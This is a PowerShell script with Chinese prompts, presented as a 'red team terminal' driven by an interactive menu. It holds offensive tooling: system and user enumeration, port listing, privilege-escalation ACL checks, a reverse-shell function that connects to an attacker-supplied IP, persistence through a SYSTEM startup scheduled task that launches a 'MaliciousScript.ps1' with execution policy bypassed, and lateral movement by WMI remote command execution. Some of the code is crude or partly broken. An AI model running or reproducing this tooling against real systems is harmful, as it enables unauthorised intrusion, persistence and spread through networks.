function Get-SystemInfo {    $os = Get-CimInstance -ClassName Win32_OperatingSystem    $cpu = Get-CimInstance -ClassName Win32_Processor    $services = Get-Service    $users = Get-WmiObject -Class Win32_UserAccount        Write-Host "`n[+] 系统信息:"    Write-Host "操作系统: $($os.Caption) | 版本: $($os.Version)"    Write-Host "CPU: $($cpu.Name)"        Write-Host "`n[+] 系统用户:"    $users | ForEach-Object { Write-Host "用户: $($_.Name) | 域: $($_.Domain)" }        Write-Host "`n[+] 运行中的服务:"    $services | Select-Object Name, Status | Format-Table}

function Scan-Network {    Write-Host "`n[+] 网络扫描（开放端口）:"    $netstat = netstat -an | Select-String "LISTENING"    $netstat | ForEach-Object { Write-Host $_.Line }}

function Priv-EscalationCheck {    Write-Host "`n[+] 权限提升检查（不安全权限）:"    $vulnerableDirs = @(        "C:\Program Files",        "C:\Windows\System32",         "C:\Users\Public"    )        foreach ($dir in $vulnerableDirs) {        Write-Host "`n检查目录: $dir"        Get-Acl $dir | Select-Object Path, Access    }}

function Start-ReverseShell {    param (        [string]$ip,        [int]$port    )        Write-Host "`n[+] 启动反向Shell连接到 ${ip}:${port}"    $reverseShell = New-Object System.Net.Sockets.TcpClient($ip, $port)    $stream = $reverseShell.GetStream()        $writer = New-Object System.IO.StreamWriter($stream)    $reader = New-Object System.IO.StreamReader($stream)        while ($true) {        $command = Read-Host "Shell命令"        if ($command -eq "exit") {            $writer.WriteLine("exit")            $writer.Flush()            break        }        $writer.WriteLine($command)        $writer.Flush()        $response = $reader.ReadLine()        Write-Host $response    }        $reader.Close()    $writer.Close()    $reverseShell.Close()}

function Set-Persistence {    Write-Host "`n[+] 设置持久化（计划任务）"    $taskName = "RedTeamPersistence"    $taskAction = "powershell.exe -ExecutionPolicy Bypass -File C:\Path\To\Your\MaliciousScript.ps1"    $taskTrigger = New-ScheduledTaskTrigger -AtStartup    $taskAction = New-ScheduledTaskAction -Execute "powershell.exe" -Argument $taskAction        Register-ScheduledTask -Action $taskAction -Trigger $taskTrigger -TaskName $taskName -User "NT AUTHORITY\SYSTEM"    Write-Host "[+] 通过计划任务安装持久化机制: $taskName"}

function Lateral-Movement {    param (        [string]$targetIp,        [string]$command    )        Write-Host "`n[+] 向 ${targetIp} 发起横向移动"    Invoke-WmiMethod -ComputerName $targetIp -Class Win32_Process -Name Create -ArgumentList $command    Write-Host "[+] 在 ${targetIp} 上执行的命令: ${command}"}

function Start-RedTeamTerminal {    Clear-Host    Write-Host "[+] 欢迎使用红队终端。准备接收命令。"    Write-Host "[+] 输入 'exit' 退出或 'help' 查看可用命令。"        while ($true) {        $input = Read-Host "输入命令"        switch ($input.ToLower()) {            'sysinfo' { Get-SystemInfo }            'network' { Scan-Network }            'priv' { Priv-EscalationCheck }            'rev' {                $ip = Read-Host "输入攻击者IP"                $port = Read-Host "输入端口"                Start-ReverseShell -ip $ip -port $port            }            'persistence' { Set-Persistence }            'lateral' {                $targetIp = Read-Host "输入目标IP"                $command = Read-Host "输入要执行的命令"                Lateral-Movement -targetIp $targetIp -command $command            }            'exit' { Write-Host "[+] 退出红队终端。"; break }            'help' {                Write-Host "`n[+] 可用命令:"                Write-Host "'sysinfo' - 显示系统信息"                Write-Host "'network' - 扫描开放端口"                Write-Host "'priv' - 检查权限提升机会"                Write-Host "'rev' - 启动反向Shell后门"                Write-Host "'persistence' - 通过计划任务设置持久化"                Write-Host "'lateral' - 通过横向移动远程执行命令"                Write-Host "'exit' - 退出终端"            }            default { Write-Host "[+] 无效命令。输入 'help' 查看可用命令。" }        }    }}
# 启动红队终端Start-RedTeamTerminal
# 关闭前暂停Read-Host "按Enter退出..."